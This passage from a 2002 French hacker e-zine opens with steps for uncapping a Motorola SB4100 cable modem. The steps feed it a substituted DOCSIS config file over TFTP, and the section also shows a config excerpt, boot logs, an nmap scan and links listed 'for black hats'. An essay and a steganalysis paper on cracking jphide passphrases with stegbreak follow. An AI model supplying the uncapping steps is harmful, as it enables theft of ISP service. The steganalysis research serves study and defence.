Dbrancher  le  modem de __la prise de courant__. Attendre que le ping soit sans
rponse  et  apres  plusieurs  "request timeout", rebrancher la prise de courant
du modem. NE PAS INTERROMPRE LE PING PENDANT CETTE OPERATION.

Observer  ce  qui se passe dans les logs du serveur TFTP pour savoir quel est le
nom  du  fichier  qui  lui  a  t  rclam,  le  noter  quelque  part ;-) (ex :
noosnetxyzu_1048.bin)

La  suite  n'est  possible  que  quand  on  possede  une copie de son fichier de
config  DOCSIS,  d'une  version  de  debug d'usine ou d'une version forge de la
meme    mouture.    Pour  plus  d'infos  sur  comment  extraire  ce  fichier  de
configuration  et  les donnes qui s'y trouvent, se rfrer a la mthode dcrite
sur le site suivant : http://www.surfboardhack.com

Ce qu'ils n'expliquent pas c'est comment on y arrive manuellement sur gnu/linux:

# tftp
tftp get
Received 'x' bytes in 0.0 seconds
tftp quit
# ./docsis -d

! extrait d'info provenant d'un fichier de config.
Main {
  NetworkAccess 1; !Valeur 0 = bye bye l'internet
  ClassOfService { !Une config comme ca peut faire mal
    ClassID 5;
    MaxRateDown 2621440; ! ;-))))
    MaxRateUp 393216; ! ;-))))
    }
  MaxCPE 2; ! Combien de machines autorises a avoir une IP sur ce modem
  8ba1d8a612c718a44eeaf9198354eee4;
  CmtsMic 60937b8b4e92b336d87f9bf79e15db98; /* EndOfDataMarker */

Avec Windows c'est la meme chose :
C:\tftp -i GET

Prendre  le  fichier  de  configuration  docsis et le renommer en accord avec le
nom  de  fichier  rcupr  dans l'tape prcdente (ex : noosnetxlz_819.bin) et
le  dposer  dans  le  dossier  de  sortie  du  serveur  TFTP (crer une arbo si
ncssaire).

Lancer un ping permanent sur la meme adresse IP (he oui toujours la meme) :
ping xxx.xxx.xxx.xxx -t

Attendre    une  quinzaine  de  rponses  avant  de  passer  a  la  suite  (sans
interrompre les ping).

Dbrancher  le  modem de __la prise de courant__. Attendre que le ping soit sans
rponse  et  apres  plusieurs  "request timeout", rebrancher la prise de courant
du modem. NE PAS INTERROMPRE LE PING PENDANT CETTE OPERATION.

Arreter le ping apres __deux rponses__ du PC

Vrifier dans les logs du serveur TFTP que le fichier est bien parti.

Rtablir  les  parametres  initiaux  de  la  connexion  tcp/ip (en mode DHCP) et
faire  une  demande  de  bail  (  network  restart,  ipconfig /release, ipconfig
/renew ).

NOTE  IMPORTANTE  :  si  un firewall est install, c'est la garantie absolue que
la  methode  ne  fonctionnera _pas_. Dsactiver le firewall n'est pas suffisant,
il  faut  le dsinstaller du PC (ou brancher le modem sur une machine qui n'en a
pas) le temps de l'opration.

Evidemment  on  ne peut pas simplement uploader un fichier de config trouv dans
un    forum  ou  forg  avec  une  boite  a  outils  de  bricol'girls.  Le  code
d'authentification  peut  s'avrer  ncssaire  pour  dcrypter  le  contenu des
donnes  du  firmware,  et  ce meme code sert a vrifier si le fichier de config
du  firmware  est  bien l'original, tout au moins celui qu'ils ont dpos. Quand
ca  n'est  pas  le cas, le serveur dhcp va simplement effacer la ROM et uploader
le  sien.  En final : les editeur de config DOCSIS font expres d'ignorer ce code
d'authentification  pour  des raisons videmment legales, et puis le brute force
sur du MD5 a deja fait l'objet de pas mal de projets et articles ;-))




5) Infos dans le desordre
-------------------------
Etant  donn  le  cot  contradictoire  de  certaines informations il a t jug
plus  utile  de  les  livrer  dans le dsordre que d'essayer de s'en servir pour
tisser quelque chose de cohrent.


Sequence de boot
****************
La squence de boot est assez complexe, en voici une version simplifie :

 ||   * Offline *
 ||   -Scan du canal de sortie.
 ||   -Rception du descripteur du canal d'entre (UCD).
 ||   -Mesure du niveau tx et de la temporisation symbolique.
 ||   -DHCP pour obtenir l'adresse IP et la passerelle pour le MC.
 ||   -Utilisation de TFTP pour rcuperer le fichier de config.
_||_  -Dmarrage et initialisation de la ligne prive (BPI).
\  /  -Rception de l'heure du jour (ToD).
 \/   * Online *



Le  modem  va  rechercher du canal de sortie en altrant les frquences, d'abord
en  entre,  puis  en  sortie  (cot  modem). Une fois que le modem a trouv les
frquences,  il  ajuste   ses   niveaux de puissance afin de pouvoir communiquer
avec  les  routeurs  et  de pouvoir rechercher un DHCP. Une fois que le modem se
fait  allouer  une  IP  il  peut commencer a communiquer avec le serveur TFTP et
recevoir  le  fichier de config. Ce fichier ne contient pas que les informations
concernant  la  vitesse  a  laquelle  le  modem  va  etre  plomb,  il  contient
galement   des  informations  (toutes  limitatives)  concernant  le  nombre  de
pripheriques    auquel  le  modem  peut  etre  connect,  ainsi  qu'une  valeur
permettant de dsactiver le port console (quand il existe).

Tout  ceci  se  passe du cot cable de l'interface, avant meme que l'utilisateur
connect  de  l'autre  cot ne puisse entreprendre quoique ce soit. Pour aider a
comprendre  ce  qui  se  passe  jusqu'a  ce  moment la de la mise en route,Cisco
propose  une  description  tres  dtaillee  sur comment un technicien cable peut
debugguer  cette  squence  complexe  de  boot  entre  les  Modem cable et leurs
routeurs uBR.
http://www.cisco.com/warp/public/109/troubleshooting_cm_online.html


Fichier de config
*****************
Pour  mieux  comprendre  le  contenu de ce fichier de config, il faut se rfrer
aux  spcifications  DOCSIS  (voir  annexe),  ce  qui  nous  intresse  dans cet
article  est  le  fichier  de config DOCSIS qui contient les parametres du Modem
Cable, ces parametres sont :

-Downstream channel identification
-Class of Service settings
-Baseline Privacy settings
-General operational settings
-Network management information
-Software upgrade fields
-Filters
-Vendor specific settings


Fichier de log
**************
Lors  de  la  ngociation  de  tous  ces parametres, le modem loggue les tapes.
Voici  un  extrait  du fichier log du modem cable motorola SB4100, commencant en
bas  de  la  liste  :  'BOOTING'  (quand  le modem s'allume) et finissant avec :
'Bridge Forwarding Enabled' (quand tout est effectu).


Time         Priority      Code    Message
020209063855 7-Information F502.1  Bridge Forwarding Enabled.
020209063855 7-Information F502.3  Bridge Learning Enabled.
020209063855 7-Information B518.0  Baseline Privacy is skipped
020209063855 7-Information I500.0  Registration Completed
020209063855 7-Information I0.0    REG-RSP Registration Response
020209063855 7-Information I0.0    REG-REQ Registration Request
020209063855 7-Information D509.0  Retrieved TFTP Config /DOCSIS/1500x300st-1 SUCCESS
020209063855 7-Information D507.0  Retrieved Time....... SUCCESS
************ 7-Information D511.0  Retrieved DHCP .......... SUCCESS
************ 5-Warning     D520.2  DHCP Attempt# 1 BkOff: 4s Tot DSC:1 OFF:1 REQ:1 ACK:1
************ 7-Information D0.0    DHCP CM Net Configuration download and Time of Day
************ 7-Information T500.0  Acquired Upstream .......... SUCCESS
************ 8-Debug       T503.1  Acquire US with status OK, powerLevel 43, tempSid 3733
************ 8-Debug       T505.0  Acquired Upstream with status OK
************ 7-Information T501.0  Acquired Downstream (693000000 Hz)........ SUCCESS
************ 8-Debug       T509.0  Acquired DS with status OK, DS Freq 693000000, US Id 3
************ 7-Information I510.0  *** BOOTING *** SB4100-4.0.9-SCM07-NOSHELL

Il est intressant de noter la ligne :
     "Retrieved TFTP Config /DOCSIS/1500x300st-1 SUCCESS".

Ceci  est  le  fichier  de  configuration tlcharg depuis le FAI a chaque fois
que  le  modem dmarre. Dans ce cas de figure prcis (FAI americain ATT) on peut
deviner  d'apres  le  nom  du fichier que la vitesse de connexion est reglee sur
1500x300  en  download/upload,  ce  qui  correspond  typiquement  a  la  vitesse
rellement obtenue dans ce cas de figure (cela peut varier selon les FAI).


Donnes du signal
*****************
Voici  quelques  informations  sur  le  signal  du  modem cable en question, les
valeurs peuvent varier selon l'abonnement :

Entree                        Valeur
Frequence                     693000000 Hz Locked
Ratio Signal/Bruit            31 dB
QAM                           64
Network Access Control Object ON
Power Level                  -15 dBmV

Sortie                        Valeur
Channel ID                    3
Frequence                     38000055 Hz Ranged
Ranging Service ID            3733
Symbol Rate                   1.280 Msym/s
Power Level                   43 dBmV


Diagnostics
***********
De  l'intrieur  (une fois le modem connect des deux cots) on peut se livrer a
quelques controles de base :

nmap -sS -v 192.168.100.1

Starting nmap V. 2.54BETA33 ( www.insecure.org/nmap/ )
Host  (192.168.100.1) appears to be up ... good.
Initiating SYN Stealth Scan against  (192.168.100.1)
Adding open port 80/tcp
Adding open port 513/tcp
Adding open port 23/tcp
The SYN Stealth Scan took 4 seconds to scan 1554 ports.
Interesting ports on  (192.168.100.1):
(The 1551 ports scanned but not shown below are in state: closed)
Port       State       Service
23/tcp     open        telnet
80/tcp     open        http
513/tcp    open        login

Quand  le  modem  est  dconnect  du  cot cable, on trouve galement les ports
suivants :

110/tcp    open        pop
25/tcp     open            smtp


Empreinte d'un SB4100
*********************
Contenu  de  certaines valeurs se trouvant dans un fichier de config d'un SB4100
repech dans un forum (et anonymis pour l'article) :

Item Value
Serial Number xxxxxxxxxx0000xxxxxxx000
HFC IP Address x.x.x.x
HFC MAC Address xx:xx:xx:xx:xx:xx
Ethernet IP Address 192.168.100.1
Ethernet MAC Address xx:xx:xx:xx:xx:xx
CM USB IP Address 192.168.100.1
CM USB MAC Address xx:xx:xx:xx:xx:xx
CPE USB MAC Address xx:xx:xx:xx:xx:xx
DHCP Server Address x.x.x.x
DHCP Information Duration: 36369 s
Time: -18000

# Known CPE MAC Address (Max 1) Status
1 xx:xx:xx:xx:xx:xx Learned




6) Annexe
---------
********************
* Quelques notions *
********************


Le MD5 :
--------
Ca  n'est pas  une mthode de cryptage  mais la cration d'une valeur de hachage
de donnes.

Une  opration de hachage consiste a calculer le rsum d'un texte en appliquant
une formule aux valeurs de son contenu.

Ce  "rsum" est trs sensible au texte initial, et meme une infime modification
du texte peut provoquer une grande modification du "rsum".

Les  2  algorithmes de  hachage  les  plus utiliss  sont  le  SHA (Secure  Hash
Algorithm)  qui calcule  un "rsum"  de 160  bits, et  le MD5,  qui calcule  un
"rsum" de 128 bits.

On  sait donc  qu'un hash  MD5 c'est  un nombre  hexadecimal sur  32 caracteres,
soit: 16^32 combinaisons ... (3,4028236692093846346337460743177e+38)

On  utilise gnralement  le md5 pour calculer le "rsum" d'un fichier, mais il
est  galement utilis pour stocker la valeur de hachage d'un mot de passe ou de
toute  autre information  a caractere  sensible  qui prvaut  dans les  systemes
d'authentification reposant sur la comparaison de deux valeurs haches.

Voici quelques liens utiles en rapport avec le md5 :
http://linuxshell.free.fr/rfc/RFC%201321%20MD5.html (en francais)
http://mathweb.free.fr/crypto/moderne/md5.php3 (en francais)
http://www.rsasecurity.com/rsalabs/faq/3-6-6.html (en anglais)
http://pajhome.org.uk/crypt/md5/index.html (en anglais)

Il  est facile  de calculer  un rsum,  mais calculer  le message  a partir  du
rsum  est tres  difficile,  et  trouver deux  messages  ayant  le meme  rsum
est aussi difficile. C'est ce qui fait la fiabilit de cet algo.

Sachant  que le  calcul du rsum d'un  message d'1Mo prend a peine une seconde,
et  bien qu'aucun algo  de hachage ne soit 100% scuris, il faudrait a peu pres
2^128 oprations, et la collision devrait prendre a peu pres 2^64 oprations.

Il n'existe pour le moment aucune autre approche d'inversion ou de collision.

Une  fonction  injective est  une fonction  qui pour une  valeur donne donne un
unique  rsultat.  Donc si  on  hache  une chaine  donne  en  MD5 on  obtiendra
toujours la mme chose.
Parce  que MD5  est injective mais pas  surjective. pour un code B MD5 donn, on
peut avoir plusieurs A.

Supposons la fonction f(x) = x*x

On prend comme rsultat B = 4

On  ne  peut pas  connaitre le  A avec certitude  car "A=2"  et "A=-2" sont deux
valeurs possibles. De mme en MD5 pour un code MD5 donn, on ne peut pas trouver
la chaine initiale car plusieurs origines sont possibles.

Un bon moyen de s'en rendre compte :

Ensemble A : les Chaines de longueur quelconque : taille = infini
Ensemble B : Les Chaines de longueur 32 :         taille = trs grand mais fini

Donc  comme  toute chaine  de l'ensemble  A possde un  code MD5 dans l'ensemble
B,  cela implique qu'un code de B possde plusieurs antcdents, et que certains
d'entre  eux (peut etre tous) ont mme une infinit d'antcdents. Et bien qu'un
ensemble  infini qui  se projette dans un ensemble fini donne ncssairement des
doublons,  il est  tres  difficile d'arriver  a produire  ces  doublons a  moins
d'avoir un certain nombre de siecles devant soi ;-))



Le brute-forcing :
------------------
C'est  quoi au  juste le  brute-forcing ?  C'est une  procdure par  laquelle le
rsultat  dsir  (par exemple trouver  un mot de  passe) est atteint au travers
d'un  cycle  d'oprations, chacune  d'elle aidant  a valuer  le reste du chemin
a parcourir avant d'avoir trouv un rsultat.

Pour une meilleur comprhension voici un exemple :

Supposons  que  le pass recherch est  "abc", et que  pour le trouver on ne doit
utiliser  que  les lettres  a, b, c  et d. L'itration  dmarre avec a, continue
avec  b,  puis c, puis d,  puis commence avec des  mots a deux lettrres, par aa,
ab,  ac, ad,  jusqu'a dd, puis commence  avec les mots a trois lettres, par aaa,
aab, aac, aac, et stoppe quand le mot de passe "abc" est trouv.



Le TFTP :
---------
TFTP  est l'acronyme  de "Trivial File Transfer Protocol". TFTP est un protocole
de   transfert  de  fichiers  simple.  Il  a  la  particularit  d'utiliser  les
protocoles UDP/IP.

[Extrait du RFC 1350]:
TFTP  est  un protocole basique de  transfert de fichiers, et par consquent est
appel "Trivial File Transfer Protocol" ou TFTP.

Il  a  t  implant  au  dessus  du  protocole  Internet  UDP  ("User  Datagram
Protocol")  aussi peut il tre utilis pour dplacer des fichiers entre machines
sur  diffrents  rseaux  implantant  UDP. (Ceci  n'exclut  pas  la  possibilit
d'implmenter  TFTP au dessus d'un autre protocole fournissant des datagrammes).

Il  est  conu pour tre rduit  et facile a  implmenter. Il lui manque donc la
plupart  des fonctionnalits  d'un  FTP  ordinaire. La  seule  chose qu'il  peut
raliser  est  lire et  crire des fichiers  (ou du courrier)  depuis ou vers un
serveur  distant.  Il ne  peut  pas  afficher  le  contenu d'un  rpertoire,  et
actuellement  l'authentification des  utilisateurs n'est  pas prvue.  Comme les
autres  protocoles Internet,  il travaille  avec des  donnes de  longueur gale
a 8 bits.

http://abcdrfc.free.fr/rfc-vf/pdf/rfc1350.pdf
http://abcdrfc.free.fr/rfc-vo/rfc1350.txt



**********************
* Quelques acronymes *
**********************

DOCSIS : Data Over Cable Service Interface Specifications
En  francais  dans  le texte : standard pour modem cable spcifiant le transfert
de donnes a haut dbit sur les rseaux cabls.

TFTP : Trivial File Transfer Protocol
Version tres simplifie du FTP

FAI : Fournisseur d'acces Internet
Version complique du vautour moyen

MC : Modem Cable ( = CM )
Interface indispensable a l'existence de cet article

CMTS : Cable Modem Transmission System ( = routeur )

UCD : Upstream Channel Descriptor
Descripteur du canal de sortie

DCI : DownStream Channel Identification
Descripteur du canal d'entre

BPI : Baseline Privacy Identification
Identifiant de la ligne prive

DHCP : Dynamic Host Control Protocol
Protocole de controle pour hote dynamique


***********
*Les liens*
***********

Pour les White hats
===================
Une explication sur le fonctionnement des modem cable :
http://www.howstuffworks.com/cable-modem.htm

Les spcificationd DOCSIS :
http://www.gi.com/noflash/docsis.html
http://www.cablemodem.com/documents.html
http://www.ietf.org/proceedings/98mar/slides/ipcdn-fijolek/index.htm

Le dplombage (uncapping) c'est quoi ?
http://www.cable-modems.org/articles/uncapping/index.htm

Le projet DOCSIS config reader :
http://docsis.sourceforge.net
http://sourceforge.net/projects/docsis

Le projet DOCSDIAG config reader :
http://homepage.ntlworld.com/robin.d.h.walker/docsdiag/

Comment dpanner un modem en ligne :
http://www.cisco.com/warp/public/109/troubleshooting_cm_online.html

TFTP (serveurs, clients et docs) :
http://ftp.us.debian.org/debian/pool/main/n/netkit-tftp/
http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/
http://abcdrfc.free.fr/rfc-vf/pdf/rfc1350.pdf
http://abcdrfc.free.fr/rfc-vo/rfc1350.txt
http://www.walusoft.co.uk/tftp.htm

Une pages de ressources sur les modem cable :
http://rpcp.mit.edu/~gingold/cable/
http://www.catv.org/

Le hachage MD5 :
http://linuxshell.free.fr/rfc/RFC%201321%20MD5.html
http://www.rsasecurity.com/rsalabs/faq/3-6-6.html
http://mathweb.free.fr/crypto/moderne/md5.php3
http://pajhome.org.uk/crypt/md5/index.html


Pour les Black hats
===================
Ils ont dplomb la SurfBoard Motorola :
http://www.surfboardhack.com

Un tutorial sur la SB4100 :
http://www.wi2600.org/pipermail/2600/2001-October/008668.html

Une archive de discussions sur les modem cable.
http://www.cable-modems.org/Q&A/index.php?one_question=226

Les bulletins de scurit concernant les modem cable :
http://www.securiteam.com/securitynews/2WUQ1QAS0A.html
http://online.securityfocus.com/news/394

Un logiciel pour tester les injections SNMP :
http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html

Un logiciel de simulation de requete BOOTP pour DHCP
http://www.weird-solutions.com/_bin/bootpq.exe

Les documents disponibles sur votre SB4100 (online) :
http://192.168.100.1/mainhelp.html
http://192.168.100.1/side.html

Les documents disponibles sur votre SB4100 (offline) :
http://192.168.100.1/config.html
http://192.168.100.1/signal.html
http://192.168.100.1/startup.html
http://192.168.100.1/address.html
http://192.168.100.1/logsdata.html

commentaires, suggestions, insultes .... crivez nous ;-)





        tobozo@madchat.org

`,,`,,`,,``,,`,,`,

























              _   ____________________________________   _
-9-            `^*;:,.>        Binarit        <.,:;*^`
_____________________/Lansciac\_____________________
`,,`,,`,,``,,`,,`,
7/9/2002

Alors  que  Perec  apostrophe  le  e  comme  si  le  cinquieme  colonnage  tait
foncierement  mauvais,  d'autres  perdurent  dans  la  commmoration historique.
Nous  avons  toujours le choix, le choix d'etre ou de ne pas, de parler ou de se
taire,  d'etre  extra  ou  ordinaire. Nous cherchons bien des complications, des
ramifications,  des  explications et tout ce que nous sommes en mesure de faire,
de  crer,  d'imaginer,  se constitue en un mouvement rgl avec la prcision du
grand  horloger.  Pourquoi  tout  ici  rencontre son contraire, image blessante,
repoussante  qui  mene  en  fait  a  tout point en ce que nous sommes. Ainsi, le
zro  est  un  non-un  et le un non point zro. Quelle meilleure dfinition etes
vous  pret  a  apposer?  Certaines  lois de dmonstration mathmatique admettent
l'existence  de  procds absurdes pour rprouver le rsultat apport. Qu'est ce
que  cela  sinon  la  seule  dmonstration,  verbosit possible affirmant qu'une
chose  est  tout sauf ce que l'on veut bien en dire. Ainsi portons nous quelques
instants    sur   la  nature  relle  du  rseau.  Au  dela  des  considrations
techniques,  de  l'tat  de  l'art comme les bien-pensants aiment a le savourer,
la  toile  est  d'apres  des  dandys  un  ramassis  de cyber dlinquants, jeunes
cervels,  dealers  de  capitalisme alors qu'il ne se sont pas dment acquitts
des    droits.    Sauvageons   dchirant  votre  pc,  agrippant  votre  systeme,
l'anantissant,  le  mettant par la-meme hors d'tat de svir, vous risquez plus
aujourd'hui  en  commutant  votre modem qu'en mangeant exclusivement du nutella.
Arnaqueurs  a  la  carte  de  crdit, pernicieux, drobant la suite arithmtique
vnre  mais  jamais  crypte.  Seul Internet semble le sujet de ce cas, jamais
ne  trouvera  telle  infamie  en prsence de personnes affermies. Seuls soucis a
l'appart  semblent  les  commerants  qui  ne  se soucient guere d'avec qui ils
peuvent  danser;  que  ce  soit  par  un  tat  des  comptes auto gnrs par le
paiement  par  carpe  bleut  ou  une  suite  par  un algorithme valid, seul le
cynisme  et  la diligence laissent afficher au bon peuple que jamais sur le oueb
il  ne  faut tacheter car a ce jeu la, on se fait vite peinturlu-lurer. Tout PDG
est   droit  selon  l'image  d'un  patron,  a  l'identique,  une  grande  partie
d'Internet  est  dlur.  Il  ne  faut a rien se fier, ne noter son mot de passe
qu'en  dessous  de  son  clavier,  ou au grand damne et au pire le cacher bien a
l'intrieur  d'un  placard  a  clef ferm. Faites confiance a votre voisin, mais
pas  a  votre  prochain  si  vous  ne  voulez  pas  finir  en maillon faible. La
connaissance  n'est  valable  que  si  elle  est  cache,  dissimule; ne faites
confiance  a  personne  vous  dis-je au risque d'y perdre votre virginit. Aucun
n'a  le  droit de vous visiter, mais laissez vos portes grandes ouvertes, lancez
des  invitations,  volez  des  propritaires  mais  pensez  a  porter plainte de
l'outrage  reu.  Et  encore,  nous sommes loin de critiquer le grand vilain bug
qui  a  pour  jamais  dcid  illgale l'application que vous employez ou encore
vous  ordonne  de  vous  mettre  au sexe en changeant votre page d'accueil. Tout
cela  est  de leur faute, ces hommes de l'ombre, ces malotrus. D'opratueur, ils
sont  enfin  devenus  capitalisable  en ayant acces aux chiffres que par la joie
d'une  plaque  d'imatriculation.  A  quand  la  peine de mort, la jonction de ce
qu'ils  demandent,  l'anarchie. Ne gardant que les bons, radiquons ces bandits,
ceux  qui  nous  polluent  notre  espace. Qu'enfin l'Informatique revienne a son
but  initial.  Etre,  accaparer,  amasser,  tout cela est a nous, rendez le nous
notre  Internet,  notre  zone d'approvisionnement gratuite de partage de numros
en  sries,  de  films  corporights,  de  musiques tenant enfin dans la main, a
dfaut  que  les  graves  et  les aigus de nos oreilles soient envols. Qui fait
quoi,  ils  sont  tous pays pour faire cela, le service doit etre gratuit ou ne
doit  pas.  Je veux, j'ordonne et j'exige. La loi c'est moi, apres tout, je suis
bien  l'tat.  Je  condamne  ces  maudits,  ces  hackers,  dans leurs faits mais
surtout  dans  leurs penses. Honnete citoyens, venez dnoncer, montrer, pendre,
exposer ces gibiers.

Tout  est  ce  qu'il  ne  semble paraitre. Si gmir vaut bien maudir, travailler
vaut  bien  voler.  Seules blanches et noires sont les facettes, mais a y passer
si  vite,  on  peut jurer que tout n'est que nuance de gris. Question de repere,
reste    a  savoir  comment  changer  l'ampoule.  Tout  n'est  que  question  de
disparition, mais sans eux, jamais on ne fera plus d'omellette.





        lansciac@madchat.org

`,,`,,`,,``,,`,,`,

























             _   _____________________________________   _
-a-           `^*;:,.>      Stegano Megalo     <.,:;*^`
_____________________/leonard\_____________________
`,,`,,`,,``,,`,,`,
20/10/2002
Papier de recherche pratique sur stegdetect 0.5             [stegano]

INTRODUCTION

La steganographie est l'art de cacher des donnes dans d'autres.

Ennemie  #1  de  bigbrother,  la  stganographie  est-elle  une  mthode sure et
efficace  pour  vos  donnes  sensibles,  ou peut-elle etre facilement detecte,
identifie et casse ?

Ce  papier  est  une  tude  pratique  de diffrents cas sur des images. Il sera
utile  a  ceux  qui  souhaitent  utiliser  la stegano au mieux, et a ceux qui se
demandent  si  internet  est un repaire de pdophiles ou de mchants terroristes
qui en veulent a votre grand-mere.

mot    clefs:    steganography,    jphide,    stegdetect,  stegbreak,  wordlist,
brute-force, jpeg, cryptography, statistical steganalysis.

OUTIL STEG: JPHIDE 0.3

L'avantage  de  jphide  and  seek, cod par Allan Lathman, est triple. Il existe
sous  unix  ET  windows,  il utilise un crypt blowfish pre-steg, et il n'utilise
pas de table fixe pour insrer le matos dans le .jpg.

Il  n'y  a  pas  de  diffrence majeure entre JPHS 0.3 et 0.5 except que le 0.5
compresse  les  donnes  avant  de les crypter puis de les stegano. Comme le 0.5
n'est  pas  fourni  sur la page de l'auteur, nous nous en tiendrons, question de
parano, au 0.3.

A  noter  que  jphide  refuse d'insrer un fichier de 2 Ko dans une image jpg de
10 Ko, par contre, il accepte de l'insrer dans 1.jpg de 40Ko.

Autre  decouverte  au  cours  de  recherches  avec  la  fonction  brute-force de
stegdetect  :  jphide  a  un  probleme au niveau des mots de passe. i.e. si vous
entrez  'okioki'  comme  passphrase, vous pourrez extraire votre image en tapant
'okioki', bien sur, mais egalement simplement 'oki'.

Taille des fichiers en octets:
39086  (original  jpg)  +  1886  (tgz)  =>  39947  (taille  du jpg en sortie) ou
encore:  1097804  +  1886  =>  978077.  ceci est l'illustration extreme d'un cas
gnralement  vrai  : le fichier stganographi est d'une taille inferieure a la
taille du jpg original ajout a celle du fichier insr.

STEGDETECT (0.5)

stegdetect  est  ecrit  par  l'auteur  du  programme de steganographie outguess,
Niels  Provos,  en  2001,  alors que JPhide est crit en 99. Niels a donc eut le
temps d'etudier le source et algos de JPhide.

stegdetect  contient  aussi  un utilitaire de brute-force qui fonctionne avec le
dictionnaire qu'on lui donne: stegbreak.

Tests:  if  information  has  been  embedded  with jsteg, with outguess, jphide,
invisible secrets (?), F5 (?).

Enfin  stegdetect  a  une variable de sensitivit a virgule flotante : "-s float
Changes  the  sensitivity  of  the detection algorithms." 1.0 est le defaut. 1.2
commence dja a renvoyer beaucoup trop de faux positifs.

FAUX-POSITIFS AVEC STEGDETECT

De  1.9+,  puis  de  -  en  - redescendant jusqu'a 1.0 : faux positifs. Bien que
l'auteur  de  stegdetect predise 2% max, je trouve des faux positifs sur 1/20 de
mes images environ.


/hda5/0cd/images/Decypher_S1.jpg : jphide(***)
/hda5/0cd/images/IRAX.jpg : jphide(*)
/hda5/0cd/images/Image 11.jpg : outguess(**) jphide(*)
/hda5/0cd/images/Image 41.jpg : jphide(*)
/hda5/0cd/images/image23.jpg : outguess(***)
/hda5/0cd/images/Image1000.jpg : jphide(*)
/hda5/0cd/images/image2.jpg : jphide(*)

jphide  est  plus  souvent  responsable  de  faux  positifs  que  d'autres comme
outguess ou jsteg, grace a son algorithme plus labor.

STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: SENSIBILITE SUR 1MO

Sensitivit: sur une image de 1Mo avec ses 2Ko de stegano,
- avec 1.8 de sensitivit (tres leve, bp de faux positifs) :
a.jpg : ngative
- avec 1.9 de sensitivit (encore plus leve) :
thufir:~/temp$ stegdetect -s 1.9 a.jpg
a.jpg : jphide(*) == positive, trouv.

STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: TAILLE

Taille: avec la meme image de 1Mo avec
- 2 Ko de donnes steganographies: non dtect (v. precedent)
- 20 Ko de donnes steganographies: dtect.

Egalement,  sur  un  fichier  de  200  Ko  + 2 Ko, steghide dtecte jphide a 1.0
(default)  de  sensibilit,  ce  qui veut dire qu'il y a de forte chances que ce
ne soit pas un faux positif.

STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: PASS PHRASE

Toujours sur l'image de 1 Mo, contenant 2 Ko de stegano.
- avec un tres faible mot de passe 'oki' :
se fait dcouvrir a 1.0 (sensitivit normale)
- avec une longue pass phrase (21 chars) :
trouve ngative de 1.0 -> 2.7 ! (a ce niveau, il y a dja
tellement de faux positif que le test n'a plus aucune valeur)

Avec  20Ko  dans  l'image  de  1 Mo, meme avec la big passphrase steghide dtect
positif a 1.0 (**) et deja (***) a 1.5.

BRUTE-FORCE CRACKING EXTRACTION STRATEGIE AVEC STEGBREAK

L'utilitaire    stegbreak  de  stegdetect,  est  une  sorte  de  moulinette  qui
fonctionne  avec  un  dictionnaire  de  mots  sur lequel diffrentes op. peuvent
etre dfinies en plus dans un rules.ini, dans le style de john the ripper.

exemple de ligne:
# Duplicate reasonably short pure alphabetic words (fred -> fredfred)
<7>1!?Ald

En  utilisant  un  dico (ici /crypto/wordlists/1anothercollection/web2) de 1 Mo,
sur  un  P3  1Ghz  proc  99%  pdt  4 Min sur une img1Mo.jpg, le mot de passe est
trouv et la partie stegano extraite : jphide[v3](oki)

STRATEGIE DE TEST SUR UNE STEGANOGRAPHIE NON-DETECTEE

Cas  d'un  fichier  contenant de la steganographie, mais non identifi comme tel
par  stegdetect  (en utilisant pourtant un coefficient de sensitivit de 2.7, ce
qui  est  norme  et  donne  autant  de faux positifs). Essai nanmoins de brute
force avec stegbreak :

thufir:~/temp$ stegbreak -t p -f wordlists/web2 a.jpg
Loaded 1 files...
a.jpg : jphide[v3](oki)
Processed 1 files, found 1 embeddings.
Time: 34 seconds: Cracks: 129503,   3808.9 c/s

L'attaque  russit  donc  quand  meme!  le faible mot de passe 'oki' est trouv,
bien  que  le  fichier n'ai pas ete identifi comme contenant de la stegano. Bon
a savoir si vous suspectez un fichier en particulier.

POST-COMPARATIF AVEC LA PRECEDENTE VERSION DE STEGDETECT (0.3)

J'ai  essay  cette  ancienne  version  de  stegdetect, histoire de comparer les
diffrences ventuelles de rsultats avec la rcente 0.5.

Puisque  qu'une  tude  comparative  de  versions  n'est  pas  le but ici, il en
rsulte  simplement  que la 0.3 est moins efficace que la nouvelle pour dtecter
des petits fichiers insrs. pour le reste, peu de diffrences.

DISCUSSION

Une  large  attaque  distribue  sur  ebay  et  USENET  avec  stegdetect  a  t
effectue  par  l'auteur  de  stegdetect.  Il  en  ressort qu'internet n'est PAS
utilis comme support pour la distribution d'informations stegano.

Ils  n'ont  pas pu trouver un seul document insr parmis 15.000 images trouves
positives  par  stegdetect.  En  plus  j'imagine  que  c'etait  en  tres  faible
sensitivit,  sinon  le  nombre  de  faux  positifs  aurait t bp plus lev...
Puisque le nombre d'images valu etait de 2 millions.

CONCLUSION

La  stegano  est dtectable et identifiable. cependant, avec un ratio de 1/500e,
prouver statistiquement son existence reste presque impossible.

Beaucoup  de  mots  de passes sont vulnrables a des attaques par force- brute a
l'aide d'un dictionnaire aide d'algorithmes.

Avec  JPHide,  choisir  une passphrase longue, plutot qu'un simple mot de passe,
anantit    les   chances  d'une  ventuelle  attaque  et  rduit  beaucoup  les
probabilits de dtection.

leonard at madchat.org [mAdchAt, base de fichiers libres]

REFERENCES UTILISEES
{* == 5hdumat.samizdat.net ou http://madchat.org}
*/crypto/textes/detect.pdf
*/crypto/steganography/unix/stegdetect-0.5.tar.gz
*/crypto/steganography/unix/stegdetect-0.3.tar.gz
*/crypto/steganography/unix/libevent-0.6.tar.gz
*/crypto/steganography/unix/jpeg/jphs-0.3.tgz
*/crypto/steganography/windos/jpeg/jphs05.zip
*/crypto/wordlists/1anothercollection/web2





        leonard@madchat.org

`,,`,,`,,``,,`,,`,

























             _   ______________________________________   _
-b-           `^*;:,.>   BTH RTFM DMZ CQFD(*)   <.,:;*^`
_____________________/lansciac\_____________________
`,,`,,`,,``,,`,,`,
23/10/2002
Une  savate  ayant  voyag  tout  l't  sur  les diffrentes places de l'Europe
dcida,  pour  une  fois, de prendre un peu de repos. A coup de pelle, a coup de
pioche,  elle  construisit  son  petit nid douillet. Fort de connaitre les trois
petits cochons, elle fit directement sa maison en pierre.

Heureuse  dans  son  nouvel  habitat,  va  sans  dire  loin de la capitale, elle
coulait  des  jours heureux regardant les mouches papilloner et les papillons se
